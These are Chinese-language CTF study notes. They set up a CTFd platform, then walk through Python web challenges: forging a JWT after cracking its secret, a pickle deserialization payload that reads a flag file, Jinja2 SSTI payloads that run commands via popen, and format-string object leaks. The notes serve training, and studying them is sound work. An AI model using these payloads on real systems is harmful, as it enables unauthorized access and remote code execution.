p83 CTF夺旗 Python考点SST&反序列化&字符串
数据来源
演示案例
- CTF夺旗 - Python - 支付逻辑&JT&反序列化
- CTF夺旗 - Python - Fask&jnja2&SSTl模版注入
- CTF夺旗 - Python - 格式化字符串漏洞&读取对象
CTFd环境搭建(我这里使用Ubuntu 64 位虚拟机搭建)
1_ Ubuntu搭建CTFd平台
基于Ubuntu搭建CTFd平台(全网最全)_ctfd平台搭建_晓梦林的博客-CSDN博客
安装过程中运行:pip3 install -r requirements.txt 遇到的问题
翻译了一下大概的意思就是下载超时了,查了下百度说是默认是从外国下载不稳定,换国内的就好(原文)
解决方案,换成国内的镜像下载:
pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
下载成功
运行CTFd,出现以下提示,表示成功 要在Root权限下进行
python3 serve.py
搞了一天 终于安装成功了,说下我的心得,pyhton的版本一定要大于3.7,安装Ubuntu20.04.5版本的虚拟机就好,他自带python3.8不用自己安装,我之前用18.04版本的虚拟机搞一样都安装不成功。
2)在真实机访问CTFd
在CTFd目录下再开个终端
gunicorn --bind 0.0.0.0:8081 -w 5 "CTFd:create_app()"
真实机访问
3)汉化:(参考)
git clone https://github.com/Gu-f/CTFd_chinese_CN.git #下载汉化包
- 了解自己当前使用的CTFd版本
- 将符合本版本的themes目录直接替换掉CTFd/CTFd目录下的themes目录即可
- 记得备份原来的themes目录。
实现:
# 先获取目标文件夹的权限
sudo chmod -R 777 CTFd
sudo chmod -R 777 CTFd_chinese_CN
最后刷新一下浏览器
4)关闭服务器与下次再开启
关闭服务器:回到开启服务器的终端下按 ctrl +Z
下次再使用,在终端输入:
sudo su # 提升到管理员模式
cd CTFd # 这步是切换到CTFd目录,可以直接在CTFd目录下打开终端就能省了这一步
sudo python3 serve.py # 运行服务器
sudo gunicorn --bind 0.0.0.0:8081 -w 5 "CTFd:create_app()" # 开启外部访问虚拟机
我建议是安装到这里直接保存快照,下次要用直接恢复快照
案例1 - CTF夺旗- Python-支付逻辑JwT安全反序列化
真题:2019 CISCN 华北赛区 Day1 Webk WriteUp(全国大学生信息安全竞赛)
将题目放到CTFd平台上:部署CISCN 华北赛区 Day1 Web2题目 (参考)
1)下载并配置题目
#下载ciscn_2019_web_northern_china_day1_web2项目
git clone https://github.com/CTFTraining/ciscn_2019_web_northern_china_day1_web2.git
#编辑docker-compose.yml
cd ciscn_2019_web_northern_china_day1_web2
gedit docker-compose.yml
2)使用docker-compose创建容器并启动
# 安装curl
sudo apt install curl
# 安装最新版本的docker
curl -sSL https://get.daocloud.io/docker | sh
sudo apt-get -y install docker.io
# 运行docker服务
service docker start
# 安装docker-compose 如安装失败sudo pip install --upgrade pip更新pip版本后再安装
pip3 install docker-compose
# 使用docker-compose创建容器并启动,这一步要在题目的目录下也就是ciscn_2019_web_northern_china_day1_web2(要等一会)
docker-compose up -d
# 此时会远程下载镜像并安装配置创建容器后台启动,稍等片刻即可
# 出现 Starting ciscn2019webnorthernchinaday1web2_web_1 ... done 表明启动完成
查看docker容器
docker ps -a
这时候是可以使用:/caseinfo/link/548b3ef194ea457f97d4caede72b13be 在浏览器访问到我们的题目
3)将题目放到CTFd平台上
首先CTFd平台需要设置一下
更改网站风格,我懒的改直接下一步
开始添加题目
我这里懒得写备注,就用别人的图片(来源)
点击首页,退出管理配置界面,点击挑战就能看见刚才创建的题目,其他小伙伴登录就可以直接做题了
最后我在真实机访问题目,视频是可以正常显示的(我猜测是Ubuntu虚拟机的浏览器无法解析mp4的视频格式,真实机是windows系统可以正常解析)
开始我们的寻找flag之旅
思路:
打开后通过提示 -> 寻找LV6 -> 购买修改支付逻辑 -> 绕过 admin 限制需修改jwt值 -> 爆破jwt密匙 -> 重组jwt值成为 admin -> 购买进入会员中心 -> 源码找到文件压缩源码 -> Python代码审计反序列化 -> 构造读取flag代码进行序列化打印 -> 提交获取
我们这里通过写个python脚本帮我们实现
1)寻找到lv6(这一步我分细一点)
lv6_find.py
先发送请求获取到页面的HTML数据
import requests # requests这包是用来发送网络请求的
url = 'http://192.168.42.164:8084/shop page='
for i in range(1,500): # range(num1,num2) 创建一个数字序列,num1 - num2 不包括num2,这里就先循环499次,找不到再改成1000或1500
urls = url + str(i) # 拼接上页数
result = requests.get(urls).content.decode('utf-8') # content方法取出响应的数据
print(result) # 这里拿到的是页面的htnl格式数据,我们要筛选判断出lv6
过滤寻找lv6,首先我们要知道页面的结构
用代码实现,在原来的基础上添加代码
import requests # requests这包是用来发送网络请求的
url = 'http://192.168.42.164:8084/shop page=' # 先定义好请求的url
for i in range(1,500): # range(num1,num2) 创建一个数字序列,num1 - num2 不包括num2,这里就先循环499次,找不到再改成1000或1500
urls = url + str(i) # 拼接上页数
result = requests.get(urls).content.decode('utf-8') # content方法取出响应的数据
# print(result) # 这里拿到的是页面的htnl格式数据,我们要筛选判断出lv6
if 'lv6.png' in result: # 这里判断result中是否存在lv6.png
print(urls +'|yes') # 有就把url打印出来
else:
pass # 也可以不打印,用pass 代替,就是表示空的意思啥都没有,甚至else都可以不写,不过我觉得写上去代码会好看点
# print(urls + '|no') # 没有也把url打印出来
最后脚本运行找到lv6在181页,这就是脚本的强大如果要手动寻找要累死
可以在浏览器把网页url的页数page改成181页验证
2)购买修改支付逻辑
要先注册个账户(注册信息随便写)
我没钱我又想支持ji哥怎么办呢?修改优惠劵,让优惠额度把金额都抵消了
要修改优惠信息那就要搞清楚这个优惠劵是前端验证还是后端验证,如果是真实环境一般都是后端验证数据保存在数据库,但是我们这里是比赛题目,肯定是有漏洞的所以推测他是前端验证,我们直接在浏览器按F12进入开发者模式修改优惠信息
点结算后又出现问题了,页面提示只允许admin访问,意思很明显我们现在在账号没有权限,要我们越权访问,这里的越权是垂直越权
3)绕过 admin 限制需修改jwt值
如果是真实比赛中我们肯定是要一种种方法的区域尝试修改ID、尝试能不能直接创建admin账号、修改Cookie之类的,我这里是直接站在上帝视角所以直接修改Cookie中的jwt值达到越权访问的目的。
然后这里还需要介绍一下爆破密钥用的工具,链接如下GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C安装方式如下所示
我这里是下载安装到虚拟机中使用方式如下:
# 下载工具
git clone /caseinfo/link/5a5f5babd7744b9f9c1c270a891cd00c
# 构建 Docker 镜像
docker build . -t jwtcrack
# 在 Docker 上运行
docker run -it --rm jwtcrack 要爆破密钥的JWT
得到密钥为1Kun
进入解码网站https://jwt.io,对jwt进行解码
到这里我们要绕过 admin 限制需修改jwt值就很简单了首先我们现在已经知道这个网站用来加密JWT的秘钥是:1Kun
,然后加密的数据是账号的用户名,那我们只需要将admin通过1Kun
,密钥进行加密,就能的得到 admin 用户的JWT就能使用越权访问
3.2)重组jwt值成为 admin
复制JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
3.3)购买进入会员中心
要给请求更换JWT要用到抓包工具,我这里用:Burpsuite
首先给网页开启代理,并清空抓包软件的历史记录
点击购买
查看抓包软件
开启数据包拦截
回到浏览器刷新页面
复制admin的JWT
替换掉到原来的JWT
放包并查看浏览器
点击一键成为大会员也没有反应,就一句提示:This is Black Technology!(这是黑科技! ),下步我们该怎么玩?
这句提示不是很明显,如果是现实比赛中我们遇到这种情况下一步就应该查看源代码
4)查看源代码,寻找下一步该干嘛
将下载的压缩包解压后发现这是pyhton文件(就是我们刚才访问网站的源代码),没有其他提示这就很明显了要我们做代码审计,从代码中找出漏洞
5)如何做Python的代码审计?
可以参考github上的一个仓库:GitHub - bit4woo/python_sec: python安全和代码审计相关资料收集 resource collection of python security and code review
有了反序列化的漏洞关键字后,我们就可以把刚才下载的python项目在我们的代码编译工具中打开然后搜索关键字(随便一个代码编辑工具都行)
按照关键字一个一个的尝试搜索,最后找到了pickle
反序列化 marshal PyYAML pickle和cpickle shelve PIL unzip
如何利用pickle这个反序列化漏洞?知识是学无止境的一个人不可能什么都会,我们可以上百度搜索如何利用
Pickle模块与序列化/反序列化的介绍: Pickle模块的使用 - 哔哩哔哩
查看源代码:
import tornado.web
from sshop.base import BaseHandler
import pickle # pickle是python语言的一个标准模块,安装python后已包含pickle库,不需要单独再安装
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
# self.get_argument(‘xxx’) xxx填写的是前端的字段
become = self.get_argument('become') # 这里就是获取前端的表单的become字段
# pickle.loads()该方法实现的是将序列化的对象,将数据序列化
# urllib.unquote()目的是对url编码进行解码,与该函数对应的是编码函数urllib.quote()
p = pickle.loads(urllib.unquote(become))
# 从字节对象中读取被封装的对象
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
代码解析:用户传入become参数,服务器将become参数url解码再反序列化并将结果给p,将p当
作一个参数给res,并且form.html有向客户端显示res的部分
利用:我们可以通过构造字符串,为对象的属性和方法进行赋值,构造payload
6)用python得到攻击所需的payload
pickle.dump() 该方法实现的是将序列化后的对象obj以二进制形式写入文件file中,进行保存
pickle.dumps() 方法不需要写入文件中,它是直接返回一个序列化的bytes对象。
test.py
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))
a=pickle.dumps(payload())
a=urllib.quote(a)
print a
代码解析
import pickle
import urllib
# 首先用python得到攻击所需的payload
class payload(object):
def __reduce__(self):
# open(file,操作符) 读取文件file,r 表示以读取的方式打开,读取文件
# read(num) num 是要读取文件的字节数,不传就是读取全部
# eval 表示用eval的方式序列化后面内容
return (eval,("open('/flag.txt','r').read()",)) # 因为我们需要flag.txt文件的的数据,这个类的作用就是获取到这个文件内的数据
# pickle.dumps() 方法与pickle.dump区别是不需要写入文件中,它是直接返回一个序列化的bytes对象。
a=pickle.dumps(payload()) # 得到指定方法序列化后数据,因为服务器接收到我们传的参数会反序列化,所以我们的参数必须序列化后再传进去,这里就是把整个pickle类给序列化了
a=urllib.quote(a) # 得到url编码后的payload,urllib.quote()方法就是将数据进行URL编码,因为服务器会对我们传入的参数进行url解码
print a
7)将我们生成的攻击payload写入前端页面,传给后端
将我们的攻击payload粘贴进去,然后发送
我们需要的数据是 { } 花括号内的字符
案例 2 - CTF夺旗 - Python-Fask & jnja2&SSTl模版注入()
1、ssti 模板注入原理解释
参考:https://xz.aliyun.com/t/7746
演示存在SSTI模板注入漏洞的代码
from flask import Flask,request
from jinja2 import Template # Template 字符串模板,用于替换字符串中的变量。
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route("/")
def index():
name = request.args.get('name', 'guest') # request.args.get() 获取前端传过来的参数
t = Template('''
<html>
<head>
<title>SSTI_TEST - cl4y</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>
'''% (name)) # % (name)) 会替换掉上面的 %s
return t.render()
if __name__ == "__main__":
app.run()
没有漏洞的情况
2、如何确定Python-ssti模块注入:中间件,返回页面,关键文字提示等
查看中间件的方法:
1)查看请求的数据包
2)使用插件wappalyzer
查看返回页面
关键文字提示,如:Python-Fask & jnja2&SSTl
3、如何正确利用ssti注入获取Flag:判断版本 - 找利用类 - 构造Payload - 绕过滤等
参考:https://xz.aliyun.com/t/7746
1)人工:判断版本-找利用类-构造Payload-绕过滤等
- 随便找一个内置类对象用
__class__
拿到他所对应的类 - 用
__bases__
拿到基类(<class 'object'>
) - 用
__subclasses__()
拿到子类列表 - 在子类列表中直接寻找可以利用的类getshell
''.__class__.__bases__[0].__subclasses__() ().__class__.__mro__[2].__subclasses__() request.__class__.__mro__[1]
将查询代码传入我们的网页
''.__class__.__bases__[0].__subclasses__()
搜索os模块(os 操作系统中的文件系统相关的模块)
python2、python3通用payload
os._wrap_close
类里有popen ( python的popen函数的使用,主要是用来执行linux命令)
我们可以先搜索一下有没有os._wrap_close这个类
使用os
下的popen
(下面这条命令是执行whoami可以自己改成其他的如:dir、ipconfig)
{{%22%22.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[%27popen%27](%27whoami%27).read()}}
2)工具:自动化检测工具tplmap使用
- https://github.com/epinna/tplmap
- https://www.cnblogs.com/f0rsaken/p/14610425.html 工具使用介绍
工具下载后进入根目录
检测是否有SSTI漏洞,如下图,发现有漏洞,可上传下载文件(其实也可以命令执行,工具可能会误报)。
python tplmap.py -u http://127.0.0.1:5000/ name= # -u URL, --url=URL 目标 URL
2、下载文件
命令:
python tplmap.py -u http://127.0.0.1:5000/ name= --download flag.txt flag.txt
SSTI漏洞案例演示
在线靶场地址:https://buuoj.cn/challenges#[WesternCTF2018]shrine
注册个账号登录,然后搜索题目:[WesternCTF2018]shrine
1)页面打开如下,直接给出源代码。
打开发现给出源码-pytho&flask&ssti-代码分析访问参数,flag位置,过滤等 - 不能进行正常的路径符合采用内置函数读取 - 读取代码中的存储FLAG
因为在下面的代码找不到要传参的变量,所以使用url路径/内置函数进行数据传递
import flask # 看到flask,想到模板注入
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') # 这里定义了全局变量 FLAG 这个就是我们需要的东西
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/') # url要访问到/shrine 在会执行下面的代码
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') # 这里做了数据过滤将 () 过滤为空
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
可以手工测试:
/shrine/{{1+1}}
返回2,说明有SSTI漏洞
使用工具测试
也可以使用工具测试,由于这里源代码中没有给出参数,因此需要在url后面加*
命令:
python tplmap.py -u http://012f805a-da58-4973-b9dd-d9b7578e40d3.node4.buuoj.cn:81/shrine/*
这里检测出漏洞,但是却不能利用操作。原因是源代码中作了过滤,过滤了,我们之前用到的攻击方式都是用到() 这里的源代码直接件()给过滤了,所以我们之前的攻击方式都用不了,这里要用pyhton的内置函数进行攻击
用pyhton的内置函数进行攻击
url_for查看全局变量:
/shrine/{{url_for.__globals__}} # __globals__ 当前模块的所有变量
查看current_app(当前应用程序的变量)
/shrine/{{url_for.__globals__['current_app']}}
查看FLAG(当前应用程序的变量)
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}} # 查看源码发现FLAG是在config内所以我们要先找到config才能获取到FLAG
案例 3 - CTF夺旗 - Python - 格式化字符串漏洞&读取对象
格式化字符串漏洞原理
- 第一种:%操作符
- 第二种:string.Template
- 第三种:调用Format方法
- 第四种:f-Strings
参考:https:/xz.aliyun.com/t/3569
1)调用Format方法。如下图所示,name后面的值可控,我们就可以传参获取当前脚本的核心变量flag值。
config = {'flag':'woaichixigua'}
class User(object):
def __init__(self,name):
self.name = name
user = User('joe')
# 相对基本格式化输出采用‘%’的方法,format()功能更强大,该函数把字符串当成一个模板,通过传入的参数进行格式化,并且使用大括号‘{}’作为特殊字符代替‘%’
print('Hello {name}'.format(name='xiadi')) # Hello xiadi
# __globals__ 当前模块的所有变量
print('Hello {name}'.format(name=user.__class__.__init__.__globals__))
# name后面的值可控,我们user、class、init、globals、['config'] 传入获取脚本核心的flag
print(user.__class__.__init__.__globals__['config']) # {'flag': 'woaichixigua'}
2)f"{字符串}"。这是python3函数式的新增一种字符串,其功能强大,可以执行字符串中包含的python表达式。
a,b = 5,10
print(f"a+b = {a+b}, 2*a+b = {2*(a+b)}")
print(f'{__import__("os").system("dir")}') # __import__("os").system() 使用os模块的system()方法,这个方法是用来执行系统命令的
涉及资源:
https://github.com/mguang323/CTFd
https://github.com/CTFTraining
https://github.com/epinna/tplmap/
/caseinfo/link/a9707fd18c3343d19c53f77c3bc48b22
/caseinfo/link/5a5f5babd7744b9f9c1c270a891cd00c
https://xz.aliyun.com/t/7746
https://xz.aliyun.com/t/3569